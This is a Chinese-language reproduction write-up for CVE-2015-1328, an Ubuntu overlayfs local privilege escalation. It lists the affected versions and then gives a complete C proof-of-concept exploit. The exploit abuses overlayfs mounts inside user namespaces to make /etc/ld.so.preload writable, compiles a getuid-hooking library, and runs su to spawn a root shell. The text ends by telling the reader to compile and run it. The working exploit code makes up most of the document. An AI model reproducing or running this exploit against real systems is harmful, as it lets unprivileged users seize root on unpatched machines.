（CVE-2015-1328）Ubuntu Linux核心本地提權漏洞

一、漏洞簡介

本地普通使用者可以利用該漏洞在敏感系統目錄中建立新檔案或讀取敏感檔案內容，從而提升到管理員許可權。

二、漏洞影響

Ubuntu 12.04，14.04，14.10，15.04 （核心 Kernel 3.13.0 < 3.19）

三、復現過程

• 檢視Ubuntu版本與核心

  均在漏洞影響範圍內，下載並編譯poc

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <sched.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <sys/mount.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <sched.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <sys/mount.h>
  #include <sys/types.h>
  #include <signal.h>
  #include <fcntl.h>
  #include <string.h>
  #include <linux/sched.h>
  
  #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
  
  static char child_stack[1024*1024];
  
  static int
  child_exec(void *stuff)
  {
  char *file;
  system("rm -rf /tmp/ns_sploit");
  mkdir("/tmp/ns_sploit", 0777);
  mkdir("/tmp/ns_sploit/work", 0777);
  mkdir("/tmp/ns_sploit/upper",0777);
  mkdir("/tmp/ns_sploit/o",0777);
  
  fprintf(stderr,"mount #1\n");
  if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
  // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
  if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
  fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
  exit(-1);
  }
  file = ".access";
  chmod("/tmp/ns_sploit/work/work",0777);
  } else file = "ns_last_pid";
  
  chdir("/tmp/ns_sploit/o");
  rename(file,"ld.so.preload");
  
  chdir("/");
  umount("/tmp/ns_sploit/o");
  fprintf(stderr,"mount #2\n");
  if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
  if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
  exit(-1);
  }
  chmod("/tmp/ns_sploit/work/work",0777);
  }
  
  chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
  umount("/tmp/ns_sploit/o");
  }
  
  int
  main(int argc, char **argv)
  {
  int status, fd, lib;
  pid_t wrapper, init;
  int clone_flags = CLONE_NEWNS | SIGCHLD;
  
  fprintf(stderr,"spawning threads\n");
  
  if((wrapper = fork()) == 0) {
  if(unshare(CLONE_NEWUSER) != 0)
  fprintf(stderr, "failed to create new user namespace\n");
  
  if((init = fork()) == 0) {
  pid_t pid =
  clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
  if(pid < 0) {
  fprintf(stderr, "failed to create new mount namespace\n");
  exit(-1);
  }
  
  waitpid(pid, &status, 0);
  
  }
  
  waitpid(init, &status, 0);
  return 0;
  }
  
  usleep(300000);
  
  wait(NULL);
  
  fprintf(stderr,"child threads done\n");
  
  fd = open("/etc/ld.so.preload",O_WRONLY);
  
  if(fd == -1) {
  fprintf(stderr,"exploit failed\n");
  exit(-1);
  }
  
  fprintf(stderr,"/etc/ld.so.preload created\n");
  fprintf(stderr,"creating shared library\n");
  lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
  write(lib,LIB,strlen(LIB));
  close(lib);
  lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
  if(lib != 0) {
  fprintf(stderr,"couldn't create dynamic library\n");
  exit(-1);
  }
  write(fd,"/tmp/ofs-lib.so\n",16);
  close(fd);
  system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
  execl("/bin/su","su",NULL);
  }
   
  

• 編譯poc 後直接執行獲得許可權